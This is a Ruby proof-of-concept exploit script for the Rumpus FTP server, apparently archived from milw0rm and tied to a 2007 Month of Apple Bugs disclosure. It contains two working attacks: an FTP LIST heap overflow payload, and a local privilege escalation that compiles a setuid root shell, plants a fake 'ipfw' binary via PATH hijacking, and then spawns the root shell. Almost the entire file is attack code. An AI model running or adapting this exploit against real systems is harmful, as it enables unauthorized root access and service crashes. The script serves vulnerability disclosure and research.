48 lines
No EOL
1.4 KiB
Ruby
Executable file
48 lines
No EOL
1.4 KiB
Ruby
Executable file
#!/usr/bin/ruby
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# Copyright (c) Lance M. Havok <lmh [at] info-pull.com>
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# Kevin Finisterre <kf_lists [at] digitalmunition.com>
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#
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# Proof of concept for issues described in MOAB-18-01-2007.
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require 'net/ftp'
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require 'socket'
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bugselected = (ARGV[0] || 0).to_i
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target_host = (ARGV[1] || "localhost")
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target_user = (ARGV[2] || "anonymous")
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target_pass = (ARGV[3] || "rumproast")
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def list_bug(o)
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payload = "A" * 251
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payload << [0x41424344].pack("V")
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payload << [0x61626364].pack("V")
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payload << [0x30313233].pack("V")
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payload << [0xdeadface].pack("V")
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o.list(payload)
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end
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def local_priv_escalation()
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wrapper = 'int main() { setuid(0); setgid(0); system("/bin/sh -i"); return 0; }'
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fake_ipfw = 'int main() { system("/usr/sbin/chown root: /tmp/shX; /bin/chmod 4755 /tmp/shX"); return 0; }'
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command_line = "echo '#{wrapper}' > /tmp/test.c && cc -o /tmp/shX /tmp/test.c && " +
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"echo '#{fake_ipfw}' > /tmp/ipfw.c && cc -o /tmp/ipfw /tmp/ipfw.c && " +
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'export PATH="/tmp/:$PATH" && /usr/local/Rumpus/rumpusd'
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system command_line
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sleep 1
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puts "++ Enjoy root shell..."
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system "/tmp/shX"
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end
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case bugselected
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when 0
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puts "++ FTP LIST heap buffer overflow..."
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Net::FTP.open(target_host) do |ftp|
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ftp.login("#{target_user}","#{target_pass}")
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list_bug(ftp)
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end
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when 1
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puts "++ Local privilege escalation..."
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local_priv_escalation()
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end
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# milw0rm.com [2007-01-19] |